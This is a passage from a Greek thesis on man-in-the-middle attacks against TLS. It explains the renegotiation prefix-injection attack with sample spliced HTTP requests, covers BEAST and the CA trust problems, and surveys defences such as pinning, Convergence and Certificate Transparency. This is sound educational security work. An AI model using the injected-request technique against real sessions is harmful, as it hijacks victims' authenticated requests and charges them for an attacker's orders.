ότι γίνεται επαναδιαπραγμάτευση, ενω ο εξυπηρετητή θεωρεί πως η αρχική επικοινωνία
με τον επιτιθέμενο προέρχεται επίσης από τον πελάτη.
Παρακάτω ακολουθεί ένα παράδειγμα αιτήσεων HTTP πάνω από TLS όπου ο
επιτιθέμενος καταρρίπτει μια παραγγελία πίτσας του πελάτη και την μετασχηματίζει σε
μια παραγγελία της αρεσκείας του που θα παραδωθεί στη διευθυνσή του. Θεωρουμε
πως ο πελάτης έχει ήδη συνδεθεί στην ηλεκτρονική πιτσαρία με τον κωδικό του και οι
επόμενες αιτήσεις χρησιμοποιουν ένα cookie για αυθεντικοποίηση.
Δημήτρης Μωραϊτης 45
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Ο επιτιθέμενος, στέλνει μια μερική αίτηση HTTP η οποία στη συνέχεια μπαίνει σαν
πρόθεμα της αίτησης του πελάτη. Για παράδειγμα ο επιτιθέμενος θα έστελνε:
GET /pizza?toppings=pepperoni;address=attackersaddress
HTTP/1.1
X-Ignore-This:
Και θα άφηνε την τελευταία γραμμή κενή χωρίς να προσθέσει χαρακτήρα αλλαγής
γραμμής. Στη συνέχεια ο πελάτης στέλνει τη δική του αίτηση:
GET /pizza?toppings=sausage;address=victimssaddress
HTTP/1.1
Cookie: victimscookie
Σαν αποτέλεσμα, οι δυο αιτήσεις ενωνονται σε μία:
GET /pizza?toppings=pepperoni;address=attackersaddress
HTTP/1.1
X-Ignore-This: GET /pizza?
toppings=sausage;address=victimssaddress HTTP/1.1
Cookie: victimscookie
Οπως είπαμε ο επιτιθέμενος δεν μπορεί να αποκρυπτγραφήσει την απάντηση της
αίτησης. Εφόσον όμως ο πελάτης έχει εισάγει έγκυρα στοιχεία χρέωσης στο
λογαριασμό του και το ηλεκτρονικό κατάστημα λειτουργεί κανονικά, ο επιτιθέμενος θα
παραλάβει στην πόρτα του μια πίτσα με πεπερόνι η οποία θα χρεωθεί στον πελάτη.
Για την επίθεση αυτή έχει κυκλοφορήσει κωδικας σε Python που την υλοποιεί (RedTeam
Pentesting GmbH 2009).
Η απλουστερη λυση αποφυγής τέτοιων επιθέσεων είναι η απενεργοποίηση της
υποστήριξης επαναδιαπραγμάτευσης στο επίπεδο του TLS στον εξυπηρετητή, πράγμα
που δεν αποτελεί πρόβλημα για την πλειοψηφία των εφαρμογων. Ο πελάτης από την
άλλη μεριά δεν μπορεί να πάρει κάποιο μέσο προστασίας, πέρα απ’ το να ελέγχει πριν
Δημήτρης Μωραϊτης 46
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
συνδεθεί το κατά πόσο ο εξυπηρετητής επιτρέπει επαναδιαπραγμάτευση, και στην
περίπτωση που το επιτρέπει να μην προχωρά με τη συνδεση.
Μια καλυτερη λυση στο επίπεδο του πρωτοκόλλου που δεν προυποθέτει την
απενεργοποίηση της δυνατότητας επαναδιαπραγμάτευσης, περιγράφεται στο RFC
5746. Ουσιαστικά προβλέπει ότι κάθε χειραψία επαναδιαπραγμάτευσης θα πρέπει να
περιλαμβάνει πληροφορίες από την προηγουμενη χειραψία.
3.7 Cipher Block Chaining attacks & BEAST
Τον Σεπτέμβρη του 2011, οι ερευνητές Thai Duong και Juliano Rizzo παρουσίασαν την
επίθεση BEAST (Browser Exploit Against SSL/TLS). Το BEAST είναι μια plaintext
recovery επίθεση, που αξιοποιεί αδυναμία των αλγορίθμων Cipher block chaining
(CBC) στο TLS 1.0 που ήταν γνωστή από καιρό αλλά δεν είχε χρησιμοποιηθεί από
πρακτικές επιθέσεις. Με τη βοήθεια του BEAST ο επιτιθέμενος μπορεί να
αποκρυπτογραφήσει cookies από συνδέσεις HTTPS (HTTP+TLS). Η επίθεση
χρησιμοποιεί τρίτα κανάλια επικοινωνίας όπως Java Applets, HTML5 Web Sockets ή
Silverlight apps, για να μπορέσει να παρακάμψει τους περιορισμους των web browsers
(same origin policy).
Κατά τη διαδικασία κρυπτογράφησης με CBC, το πρωτόκολλο κωδικοποιεί κάθε μπλοκ
δεδομένων, χρησιμοποιωντας το προηγουμενο κρυπτογραφημένο μπλοκ. Εδω και
καιρό είχε διατυπωθεί η άποψη πως ένας επιτιθέμενος θα μπορουσε να χειραγωγήσει
αυτή τη διαδικασία, προκειμένου να αυξήσει την πιθανότητα να μαντέψει σωστά το
περιεχόμενο των μπλοκ. Αν ο επιτιθέμενος μαντέψει σωστά, τότε ο κρυπταλγόρθμος θα
λάβει την ίδια είσοδο για το επόμενο μπλοκ.
Στην τρέχουσα μορφή της, η επίθεση BEAST απαιτεί περίπου 2 δευτερόλεπτα για την
αποκρυπτογράφηση ενός byte. Αυτό σημαίνει ότι η αποκρυπτογράφηση ασφαλων
cookies 1000-2000 χαρακτήρων (π.χ. paypal.com) μπορεί να γίνει μέσα σε μισή μια μία
ωρα, αλλά ο χρόνος αυτός μπορεί να μειωθεί σημαντικά σε βελτιωμένες εκδοχές τις
επίθεσης, συμφωνα με τους Duong & Rizza.
H Mozilla ενημέρωσε τις τελευταίες εκδόσεις της βιβλιοθήκης NSS ωστε να είναι
ασφαλείς σε επιθέσεις τυπου BEAST. Η NSS υλοποιεί το SSL/TLS και χρησιμοποιείται
από τον Mozilla Firefox και τον Google Chrome.
Η επίθεση BEAST στο TLS 1.0 μπορεί να αποφευχθεί με την αφαίρεση όλων των CBC
ciphers από τους επιτρεπόμενους κρυπταλγορίθμους, αφήνοντας μόνο τον RC4 που
υποστηρίζεται από τους περισσότερους ιστότοπους. Η Microsoft επεκτείνει τους
Δημήτρης Μωραϊτης 47
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
εξυπηρετητές και τις εφαρμογές πελάτη της με υποστήριξη του TLS 1.1 όπου
διορθωνεται η αδυναμία του CBC.
Δημήτρης Μωραϊτης 48
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
4. Κριτική και προτασεις βελτίωσης
Οπως αναφέραμε παραπάνω ένα κρυπτογραφικό πρωτόκολλο πρέπει να παρέχει
μυστικότητα της επικοινωνίας, ακεραιότητα των δεδομένων και αυθεντικοποίηση των
συμμετεχόντων. Αν έστω και ένα από αυτά τα χαρακτηριστικά δεν παρέχεται, τότε το
πρωτόκολλο δεν μπορεί να θεωρηθεί ασφαλές.
Το TLS είναι ένα πρωτόκολλο που έχει εξεταστεί και συνεχίζει να εξετάζεται ενδελεχως
ως προς την κρυπτογραφική ασφάλεια που προσφέρει. Οι όποιες αδυναμίες
εντοπίζονται, αντιμετωπίζονται κατά κανόνα άμεσα από νέες ανθεκτικότερες εκδόσεις
του πρωτοκόλλου και των υλοποιήσεων του. Αυτό όμως δε φαίνεται να λειτουργεί το ίδιο
αποτελεσματικά σε ζητήματα που αφορουν την Υποδομή Δημόσιου Κλειδιου (PKI) που
χρησιμοποιείται στο διαδίκτυο, μέσω της ιεραρχίας των Αρχων Πιστοποίησης όπως
ορίζει το Χ.509, την οποία χρησιμοποιεί το ΤLS για αυθεντικοποίηση και αποφυγή
επιθέσεων ενδιάμεσου.
Οπως είδαμε παραπάνω, οποιαδήποτε CA μπορεί να υπογράψει πιστοποιητικά για
οποιοδήποτε δικτυακό τόπο. Τα προγράμματα πελάτη (web, email, chat, κλπ) έρχονται
με κλειδιά επαλήθευσης των CA που υποστηρίζουν. Συμφωνα με το SSL Observatory
του EFF, υπάρχουν 651 οργανωσεις ανά τον κόσμο μπορουν να υπογράφουν
πιστοποιητικά που αναγνωρίζονται ως έγκυρα από προγράμματα της Microsoft ή του
Mozilla foundation.
Οι αρχές πιστοποίησης μπορουν να έρθουν αντιμέτωπες με νομικές πιέσεις από τις
χωρες όπου δραστηριοποιουνται, προκειμένου να δωσουν τη δυνατότητα νόμιμων
υποκλοπων. Κάποιες εταιρείες μάλιστα διαφημίζουν τόσο τα πιστοποιητικά όσο και τις
υπηρεσίες νόμιμων υποκλοπων που παρέχουν (π.χ. Verisign). Επιπλέον, όπως είδαμε
παραπάνω, συχνά είναι πλέον και τα περιστατικά όπου το ιδιωτικό κλειδί κάποιας αρχής
πιστοποίησης διαρρέει, λόγω ελλιπους ασφάλειας (π.χ. Comodo).
Οταν δημοσιοποιείται ένα τέτοιο περιστατικό, οι κατασκευαστές εφαρμογων πελάτη
(π.χ. browser vendors) αντιμετωπίζουν το δίλημμα της άρσης ή όχι της εμπιστοσυνης
στην αρχή αυτή. Στην περίπτωση που άρουν την εμπιστοσυνη και αφαιρέσουν το
πιστοποιητικό από μελλοντικές εκδόσεις των εφαρμογων τους, οι χρήστες τους δεν θα
μπορουν να προσπελάσουν ιστότοπους που έχουν υπογραφεί από την εν λόγω αρχή.
Σε περιπτωσεις όπως της Comodo αυτό θα σήμαινε ότι το ένα τέταρτο περίπου του
ασφαλους παγκόσμιου ιστου θα σταματουσε να λειτουργεί. Πρόκειται δηλαδή για ένα
συστημα εμπιστοσυνης που δεν δίνει πολλά περιθωρια ανάκλησης της εμπιστοσυνης
Δημήτρης Μωραϊτης 49
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
σε κάποια CA, την ίδια στιγμή που η υποστήριξη ανάκλησης πιστοποιητικων X.509 είναι
ανεπαρκής. Το μόνο μέτρο που παίρνουν τελικά οι κατασκευαστές εφαρμογων σε
περίπτωση που γνωστοποιηθεί κάποια διαρροή πιστοποιητικου, είναι να βγάλουν νέες
εκδόσεις των εφαρμογων τους που έχουν τα εν λόγω πιστοποιητικά σε μαυρη λίστα.
Ευάλωτος είναι και ο μηχανισμός πιστοποίησης που χρησιμοποιουν οι περισσότερες CA
πριν υπογράψουν κάποιο πιστοποιητικό. Η συνήθης διαδικασία που ακολουθουν
προκειμένου να επιβεβαιωσουν ότι ο αιτων είναι ο κάτοχος του domain, είναι να
στείλουν ένα μήνυμα ηλεκτρονικου ταχυδρομείου στη διευθυνση [email protected] με
ένα κωδικό και να ελέγξουν αν ο αιτων μπορεί να δει αυτόν τον κωδικό. Ολη αυτή όμως
η διαδικασία αυξάνει την επιφάνεια των πιθανων επιθέσεων. Αν δηλαδή ένας
επιτιθέμενος βρει κάποια αδυναμία στην υποδομή DNS ή email του domain.com ή σε
κάποιο δρομολογητή δικτυου κοντά στην αρχή πιστοποίησης, μπορεί να αποκτήσει και
έγκυρο πιστοποιητικό SSL.
Το συμπέρασμα που προκυπτει απ’ όλα τα παραπάνω είναι πως η αυθεντικοποίηση
που παρέχει το TLS μέσω του X.509 είναι εξαιρετικά ανεπαρκής και είναι επιτακτική
ανάγκη είτε η ενίσχυση της ασφάλειας του υπάρχοντος συστήματος, είτε η
αντικατάστασή του. Στο συμπέρασμα αυτό έχουν καταλήξει πολλοί ερευνητές και έχουν
κατατεθεί μια σειρά από σχετικές προτάσεις ή πρωτοβουλίες, ειδικότερα τους
τελευταίους μήνες.
4.1 Certificate Pinning
Μια απλή τεχνική που κερδίζει έδαφος είναι αυτή του certificate pinning, του
κλειδωματος δηλαδή στις εφαρμογές πελάτη γνωστων πιστοποιητικων για
συγκεκριμένους δικτυακους τόπους. Ο Google Chrome από την έκδοση 13 έρχεται με
κλειδωμένα πιστοποιητικά για του ιστοτόπους της Google και μερικους ακόμα
δημοφιλής δικτυακους τόπους, ενω σκοπευει να διαθέσει και σε τρίτους αυτή τη
δυνατότητα μέσω κάποιας επέκτασης του πρωτοκόλλου HSTS (HTTP Strict Transport
Security). Αντίστοιχες δυνατότητες υπάρχουν και στον Mozilla Firefox μέσω επεκτάσεων
όπως το Certlock ή το Certificate patrol.
Παρόλο που παρέχει επιπλέον ασφάλεια στους τελικους χρήστες υπό τις τρέχουσες
συνθήκες, το certificate pinning δεν αποτελεί συνολική λυση για τα προβλήματα
αυθεντικοποίησης του TLS.
Δημήτρης Μωραϊτης 50
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
4.2 DNSSec
Εδαφος κερδίζει και η πρόταση της αξιοποίησης του DNSSec για την αντικατάσταση
του κομματιου της ταυτοποίησης του TLS. Το DNSSec είναι ένα συνολο προδιαγραφων
του IETF για την ασφάλιση του συστήματος χωρων ονομάτων (DNS). Τα πιστοποιητικά
μπορουν να αποθηκευτουν στις εγγραφές DNS του δικτυακου τόπου και οι εφαρμογές
πελάτη όπως οι web browsers μπορουν να συγκρίνουν τα πιστοποιητικά των
εξυπηρετητων με αυτά που πήραν από το DNS.
Η κριτική που δέχεται αυτή η πρόταση έχει να κάνει με το ότι το DNS είναι άλλο ένα
ιεραρχικό συστημα παρόμοιο και τελικά ισοδυναμο με αυτό τον αρχων πιστοποίησης.
Για να το εμπιστευτουμε, πρέπει να εμπιστευτουμε όχι μόνο το DNS root (ICANN) και τα
TLDs (Verisign για .com, κ.α.), αλλά και τους καταχωρητές ονομάτων (GoDaddy.com,
κ.α.). Αν ξεκινάμε με την παραδοχή ότι εμπιστευόμαστε και θα εμπιστευόμαστε πλήρως
το DNS, μιας και δεν προβλέπεται μηχανισμός ανάκλησης αυτής της εμπιστοσυνης, τότε
σίγουρα η χρήση του για αποθήκευση κλειδιων τελικά ενισχυει την ασφάλεια. Εξάλλου
και οι ίδιες οι αρχές πιστοποίησης χρησιμοποιουν το DNS και το email για να
πιστοποιήσουν τον κάτοχο κάποιου δικτυακου τόπου πριν υπογράψουν το
πιστοποιητικό του. Ίσως όμως θα είχε περισσότερο ενδιαφέρον να εξερευνήσουμε
λυσεις που δεν εξαρτωνται από το DNS, μιας και υπάρχουν περιπτωσεις στις οποίες
είναι επιθυμητή η χρήση TLS με ασφαλή αυθεντικοποίηση σε περiβάλλοντα εκτός DNS.
4.3 Trust Agility - Perspectives & Convergence.io
Η πληθωρα των επιτυχημένων επιθέσεων σε αρκετές αναγνωρισμένες Αρχές
Πιστοποίησης όπως η Comodo, καθως και μια σειρά από λάθη τους που αποκαλυφθηκε
ότι οδήγησαν σε διαρροή των κλειδιων τους, δεν είχαν καμία συνέπεια για τις αρχές
αυτές, μιας και η κατάργηση της εμπιστοσυνης στα πιστοποιητικά που έχουν υπογράψει
από τους βασικους web browsers, ή και από κάθε χρήστη ξεχωριστά, θα είχε σαν
αποτέλεσμα να σταματήσει να λειτουργεί ένα σημαντικό κομμάτι του διαδικτυου, μέχρι
να φροντίσουν οι σχετικοί διαχειριστές να προμηθευτουν νέα κλειδιά.
Το πρόβλημα αυτό της τρέχουσας υποδομής πιστοποιητικων του διαδικτυου θέτει ως
κεντρικό ο Moxie Marlinspike. Οτι δηλαδή η εμπιστοσυνη στις εκατοντάδες
αναγνωρισμένες Αρχές Πιστοποίησης είναι πρακτικά αμετάκλητη, ακόμα και αν οι αρχές
αυτές προδόσουν την εμπιστοσυνη των χρηστων. Θεωρεί ότι από την τρέχουσα
υποδομή λείπει μια βασική ιδιότητα, την οποία ονομάζει Ευελιξία Εμπιστοσυνης (Trust
Agility).
Δημήτρης Μωραϊτης 51
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
H Ευελιξία Εμπιστοσυνης έχει δυο προυποθέσεις:
Κάθε απόφαση εμπιστοσυνης μπορεί να επαναξιολογηθεί οποιαδήποτε στιγμή.
Οι τελικοί χρήστες μπορουν να αποφασίσουν που θα βασίσουν την εμπιστοσυνη
τους.
Στην κατευθυνση αυτή κινείται το Perspectives. Μια δημοσίευση και ένα συστημα που
προήλθε από το Πανεπιστήμιο Carnegie Mellon από τους Dan Wendlandt & Andrian
Perrig για την χρήση πολλαπλων μονοπατιων εξέτασης για αυθεντικοποίηση στο SSH
και στο SSL και έχει να κάνει με την συγκριση διαφορετικων όψεων ενός δικτυου. Το
Perspectives αντικαθιστά τις Αρχές Πιστοποίησης από Notaries (συμβολαιογράφους).
Προκειμένου να επαληθευσει την εγκυρότητα ενός πιστοποιητικου ενός δικτυακου, ο
πελάτης ρωτάει έναν η περισσότερους Notaries τι πιστοποιητικό επιστρέφει ο
εξυπηρετητής στον οποίο θέλει να συνδεθεί ο πελάτης. Αν το πιστοποιητικό που
επιστρέφουν οι Notaries είναι το ίδιο με αυτό που βλέπει ο πελάτης, τότε η συνδεση
προχωράει. Η επικυρωση που γίνεται μέσω των Notaries δεν είναι ποιοτικά διαφορετική
από αυτή που γίνεται μέσω των αρχων πιστοποίησης στο PKI που όπως είδαμε
χρησιμοποιουν τελικά το DNS για να επιβεβαιωσουν την κυριότητα του εν λόγω
δικτυακου τόπου. Η βασική διαφορά είναι ότι η σχέση εμπιστοσυνης στην περίπτωση
του Perspectives ξεκινάει από τον πελάτη που θέλει να επαληθευσει κάποιον
εξυπηρετητή και όχι από τον διαχειριστή του εξυπηρετητή που ζητάει από μια CA να
υπογράψει το πιστοποιητικό του.
Το Perspectives υλοποιείται ως επέκταση του Mozilla Firefox, αλλά είναι proof-of-
concept λογισμικό και ως εκ τουτου έχει μια σειρά από περιορισμους:
Πληροτητα: η υλοποίηση λειτουργεί μόνο για την αρχική συνδεση στον σέρβερ
και όχι για τις επιπλέον συνδέσεις, π.χ. για τα αρχεία css & javascript μιας
σελίδας, οπότε δεν καταργεί πλήρως την ανάγκη για CAs
Ιδιωτικοτητα: το ιστορικό του browser καταλήγει στους Νotaries
Αποκρισιμοτητα σε αλλαγες: οι notaries αποθηκευουν τα πιστοποιητικά σε
cache για να βελτιωσουν τον χρόνο απόκρισης και ελέγχουν περιοδικά τους
σχετικους εξυπηρετητές για να δουν αν άλλαξαν τα σχετικά πιστοποιητικά. Αν
κάποιο πιστοποιητικό αλλάξει και υπάρχει το προηγουμενο πιστοποιητικό στην
cache, τότε ο Notary δε θα επικυρωσει τον εξυπηρετητή μέχρι να έρθει η ωρα να
ελέγξει και πάλι το πιστοποιητικό του εξυπηρετητή.
Δημήτρης Μωραϊτης 52
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Στη βάση του Perspectives, ο Moxie Marlispike έφτιαξε το Convergence. Το
Convergence είναι ένα νέο πρωτόκολλο με νέα υλοποίηση για τους πελάτες και για τους
Notaries. Ακολουθεί τις ίδιες γενικές αρχές και προσφέρει ευελιξία εμπιστοσυνης,
λυνοντας παράλληλα τα παραπάνω προβλήματα του Perspectives:
Κατά την αίτηση επαλήθευσης, ο πελάτης στέλνει το πιστοποιητικό που του
επιστρέφει ο εξυπηρετητής, οπότε ο Notary συνδέεται στον εξυπηρετητή μόνο σε
περίπτωση που το πιστοποιητικό δεν υπάρχει στην cache ή διαφέρει από αυτό
που υπάρχει στην cache του. Με τον τρόπο αυτό λυνεται το πρόβλημα της
αποκρισιμότητας σε αλλαγές πιστοποιητικων.
Επίσης το Convergence διατηρεί cache με πιστοποιητικά όχι μόνο στους
Notaries αλλά και στον web browser. Οπότε ο πελάτης χρειάζεται να συνδεθεί με
κάποιον Notary μόνο την πρωτη φορά που βλέπει κάποιο πιστοποιητικό.
Χρειάζεται δηλαδή λιγότερες συνδέσεις και ταυτόχρονα δε διαρρέει το πλήρες
ιστορικό επισκέψεων του χρήστη στους Notaries.
Προκειμένου να προστατευσει πλήρως την ιδιωτικότητα, το Convergence
υλοποιεί και το λεγόμενο Notary bouncing. Ο πελάτης επιλέγει τυχαία έναν
Notary από τη λίστα που υποστηρίζει και τον ορίζει ως ενδιάμεσο (bounce). Στη
συνέχεια ο πελάτης στέλνει αιτήσεις επαλήθευσης σε όλους τους υπόλοιπους
Notaries αλλά κρυπτογραφεί τις αιτήσεις με SSL και φροντίζει όλες οι αιτήσεις να
περάσουν μέσω του ενδιάμεσου Notary. Ο ενδιάμεσος δεν μπορεί να δει το
περιεχόμενο των αιτήσεων μιας και είναι κρυπτογραφημένες, ενω οι αποδέκτες
των αιτήσεων μπορουν να δουν το περιεχόμενο τους, αλλά δεν μπορουν να δουν
την πραγματική πηγή τους. Οπότε για να αποκαλυφθεί το ιστορικό αιτήσεων ενός
πελάτη θα πρέπει να συνωμοτήσουν ο ενδιάμεσος και οι τελικοί Notaries.
Το Convergence υλοποιείται ως μια απλή επέκταση του Mozilla Firefox η οποία
εμφανίζει ένα κουμπί δίπλα στη μπάρα διευθυνσης του Firefox. Αν ο χρήστης πατήσει
αυτό το κουμπί, από εκεί και πέρα ενεργοποιείται η επαλήθευση πιστοποιητικων μέσω
Convergence και απενεργοποιείται το συστημα των Αρχων Πιστοποίησης. Στην
πραγματικότητα το Convergence υποστηρίζει πολλους μηχανισμους αυθεντικοποίησης
από τους Notaries. Ο προεπιλεγμένος μηχανισμός είναι αυτός που περιγράφουμε
παραπάνω, της συγκρισης διαφορετικων όψεων ενός δικτυου. Μπορεί όμως κάποιος
Notary να αυθεντικοποιεί πιστοποιητικα μέσω DNSSec, του συστήματος Αρχων
Πιστοποίησης, ή οποιοδήποτε άλλο μηχανισμό. Οι Notaries αυτοί μπορουν να
ελέγχονται παράλληλα και ο χρήστης να ορίσει διαφορετικές πολιτικές εμπιστοσυνης
Δημήτρης Μωραϊτης 53
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
(π.χ. να απαιτείται ομοφωνία ή πλειοψηφία από τους επιλεγμένους Notaries
προκειμένου να επικυρωθεί ένα πιστοποιητικό). Ο χρήστης μπορεί οποιαδήποτε στιγμή
να προσθέσει Notaries που εμπιστευεται η να τους αφαιρέσει αν κάνουν κάτι που
κλονίσει την εμπιστοσυνη του.
Ενα σημαντικό πλεονέκτημα του Convergence είναι ότι λειτουργεί ως έχει, χωρίς να
χρειάζεται να αλλάξει κάτι στους υπάρχοντες εξυπηρετητές. Αρκεί ο χρήστης να
εγκαταστήσει τη σχετική επέκταση και όλα συνεχίζουν να λειτουργουν με αυξημένη
πλέον ασφάλεια σε επιθέσεις ενδιάμεσου. Αν οι κατασκευαστές εφαρμογων πλοήγησης
επέλεγαν να το εντάξουν στον πυρήνα των προϊόντων τους, θα δουλευε αυτόματα θα
καταργουσε στην πράξη το τρέχον συστημα των Αρχων Πιστοποίησης για το https.
Ενα πρόβλημα που έχει το Convergence είναι με ιστοσελίδες σαν αυτές της Citibank, ή
οποία χρησιμοποιεί πολλά διαφορετικά πιστοποιητικά για τους εξυπηρετητές της. Οι
Notaries δηλαδή βλέπουν διαφορετικά πιστοποιητικά από αυτά που βλέπει ο πελάτης,
πράγμα που ερμηνευεται σαν πιθανή επίθεση ενδιάμεσου. Ευτυχως η πρακτική αυτή
είναι ιδιαίτερα περιορισμένη με τη Citibank να αποτελεί το μοναδικό γνωστό
παράδειγμα.
Αλλο πρόβλημα έχει να κάνει με τα λεγόμενα captive portals. Εφαρμογές σε κλειστά
ασυρματα δίκτυα που καταρρίπτουν τις αρχικές αιτήσεις του πελάτη και εμφανίζουν μια
σελίδα που ζητά αυθεντικοποίηση προκειμένου να επιτραπεί τη συνδεση στο διαδίκτυο.
Η σελίδα αυτή παρεμποδίζεται από το Convergence επειδή δεν είναι δυνατή η συνδεση
στους Notaries για την επαλήθευση του πιστοποιητικου. Αυτό το πρόβλημα αναμένεται
να επιλυθεί μέσω της υλοποίησης του Convergence πάνω από το πρωτόκολλο DNS η
χρήση του οποίου συνήθως επιτρέπεται και σε αυτές τις περιπτωσεις.
4.4 Sovereign Keys
Το Δεκέμβρη του 2011, το Electronic Frontier Foundation (EFF) δημοσίευσε την
πρότασή του για την επίλυση των προβλημάτων αυθεντικοποίησης του https και του
TLS γενικότερα. Η πρόταση είναι σε αυτή τη φάση ένα κείμενο προδιαγραφων και δε
συνοδευεται από υλοποίηση.
Η πρόταση αφορά τη δημιουργία μιας ημι-κεντρικοποιημένης κρυπτογραφικής δομής
δεδομένων, η οποία επιτρέπει μόνο προσθήκη εγγραφων και όχι αλλαγή των ήδη
υπάρχοντων (append only). Οι δομές αυτές αποθηκευονται σε timeline servers. Κάθε
timeline server έχει αντίγραφο όλων των εγγραφων του συστήματος. Κάθε εγγραφή
αποτελείται από έναν σειριακό αριθμό, ένα timestamp, κάποια δεδομένα και μία
Δημήτρης Μωραϊτης 54
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
υπογραφή από τον timeline server. Αν αλλαχτεί κάποια εγγραφή σε κάποιον timeline
server αυτό μπορεί να εντοπιστεί ευκολα μέσω του timestamp, της υπογραφής, της
συνέπειας των δεδομένων και μέσω συγκρισης της εγγραφής με την αντίστοιχη
εγγραφή των υπολοίπων timeline servers.
Τα δεδομένα κάθε εγγραφής αποτελουν μία Αξίωση Κυρίαρχου Κλειδιου (sovereign key
claim) η οποία με τη σειρά της αποτελείται από δυο μέρη, τις πληροφορίες κλειδιου και
τα αποδεικτικά αξίωσης. Τα αποδεικτικά είναι μια υπογραφή της αξίωσης από ένα
πιστοποιητικό επικυρωμένο είτε μέσω CA, είτε μέσω DNSSec.
Ακολουθεί αναλυτικά η δομή δεδομένων:
Σειριακός αριθμός: 0
Timestamp: 201203141426396
Αξίωση κυρίαρχου κλειδιου
Πληροφορίες κλειδιου
όνομα δικτυακου τόπου: eff.org
κυρίαρχο κλειδί (224/256bit ECC)
υποστηριζόμενα πρωτόκολλα: imap, smtp, https
ημερομηνία λήξης: 14-03-2021
μπαλαντέρ: True
επικοινωνία σε περίπτωση ανάκλησης: aclu.org, ccc.de
Αποδεικτικό στοιχείο αξίωσης
Το πεδίο μπαλαντέρ ορίζει κατά πόσο το κλειδί μπορεί να χρησιμοποιηθεί για όλα τα
ονόματα δικτυου κάτω από το eff.org (*.eff.org). Το πεδίο “επικοινωνία σε περίπτωση
ανάκλησης” είναι μια λίστα από δικτυακους τόπους, τα κυρίαρχα κλειδιά των οποίων
μπορουν να χρησιμοποιηθουν για την έκδοση νέου κυρίαρχου κλειδιου αυτου του
δικτυακου τόπου, σε περίπτωση ανάκλησης.
Το συστημα των κυρίαρχων κλειδιων δεν θα ειδοποιεί τον χρήστη για σφάλμα στην
περίπτωση που δεν μπορεί να επαληθευσει κάποιο κλειδί. Αντιθέτως θα προσπαθεί να
συνδεθεί με ασφάλεια στον εν λόγω δικτυακό τόπου με χρήση tor hidden services.
Δημήτρης Μωραϊτης 55
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
4.5 Certificate Authority Transparency and Auditability
Οι Adam Langley & Ben Laurie, ερευνητές ασφαλείας της Google και μέλη της ομάδα
ανάπτυξης του Google Chrome, το Νοέμβριο του 2011 δημοσίευσαν το “Certificate
Authority Transparency and Auditability”. Εκεί προτείνουν τη δημιουργία ενός δημόσιου
και επαληθευσιμου log όλων των πιστοποιητικων που υπογράφονται, το οποίο θα
χρησιμοποιουν από τη μία οι εφαρμογές πελάτη, οι οποίες δε θα δέχονται πιστοποιητικά
που δεν έχουν καταχωρηθεί στο log αυτό, και από την άλλη οι κάτοχοι ονομάτων
δικτυακων τόπων, που θα μπορουν να ελέγχουν και να ανακαλουν τυχόν πιστοποιητικά
που εκδίδονται από τρίτους για τους δικτυακους τόπους τους.
Το log αυτό θα μπορεί μόνο να δεχτεί νέες εγγραφές, οι οποίες θα υπογράφονται
περιοδικά με τη χρήση ενός υπογεγραμμένου Δένδρου Merkle. Με τον τρόπο αυτό, θα
υπάρχει αποδεικτικό για κάθε νέα εγγραφή και δεν είναι απαραίτητη προυπόθεση η
εμπιστοσυνη στον διαχειριστή του log.
Η πρόταση είναι εμπνευσμένη από τα Sovereign Keys του EFF, αλλά είναι λιγότερο
συνθετη και ίσως πιο ευκολα υλοποιήσιμη. Συμφωνα με τους ερευνητές, η πρόταση
προσφέρει προς τα πίσω συμβατότητα με τους υπάρχοντες εξυπηρετητές και
εφαρμογές πελάτη.
4.6 Monkeysphere
Στόχος του Monkeyshpere project είναι να δωσει τη δυνατότητα να αντικατασταθεί το
κομμάτι της αυθεντικοποίησης του TLS με το Web Of Trust του OpenPGP.
Η χρήση του Monkeysphere για τον παγκόσμιο ιστό απαιτεί δυο συστατικά λογισμικου.
Εναν πράκτορα επικυρωσης (msva) και μια επέκταση του Mozilla Firefox.
Οταν ο χρήστης συνδέεται σε κάποια ιστοσελίδα μέσω https χρησιμοποιωντας το
Monkeysphere plugin, αν το πιστοποιητικό που παρουσιάζεται από τον εξυπηρετητή δεν
περνάει την προεπιλεγμένη επικυρωση του Firefox μέσω του τυπικου ιεραρχικου PKI,
τότε το πιστοποιητικό και η διευθυνση δικτυακου τόπου ελέγχονται από τον πράκτορα
επικυρωσης, ο οποίος ελέγχει τους δημόσιους εξυπηρετητές κλειδιων για κλειδιά με
αναγνωριστικό αυτό της διευθυνσης της ιστοσελίδας (π.χ.
https://zimmermann.mayfirst.org). Αν υπάρχει ένα μονοπάτι εμπιστοσυνης προς αυτό το
κλειδί, συμφωνα με τις ρυθμίσεις εμπιστοσυνης του OpenPGP του χρήστη, τότε το
πιστοποιητικό θεωρείται έγκυρο.
Δημήτρης Μωραϊτης 56
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
4.7 Identity based encryption
To 2001, οι Dan Boneh και Matthew Franklin δημοσίευσαν μια λυση για το πρόβλημα
του Identity based encryption που είχε θέσει ο Adi Shamir το 1984. Πρόκειται για μια
μορφή κρυπτογραφίας δημόσιου κλειδιου, όπου το δημόσιο κλειδί είναι το ίδιο το όνομα
ή η διευθυνση του παραλήπτη.
Τα συστήματα αυτά, επιτρέπουν σε κάθε μέρος να παράξει ένα δημόσιο κλειδί από μια
γνωστή τιμή ταυτότητας. Ενα έμπιστο τρίτο μέρος, που ονομάζεται Παραγωγός
Δημόσιου Κλειδιου (PKG), παράγει τα σχετικά ιδιωτικά κλειδιά. Ο PKG, δημοσιευει
καταρχήν ένα master δημόσιο κλειδί και κρατά το master ιδιωτικό κλειδί. Δεδομένου του
master δημοσίου κλειδιου, κάθε μέρος μπορεί να παράξει ένα δημόσιο κλειδί που
αντιστοιχεί στην ταυτότητα του παραλήπτη, συνδυάζοντας το master δημόσιο κλειδί με
την τιμή ταυτότητας. Για να πάρει το σχετικό ιδιωτικό κλειδί, το μέρος που έχει το σχετικό
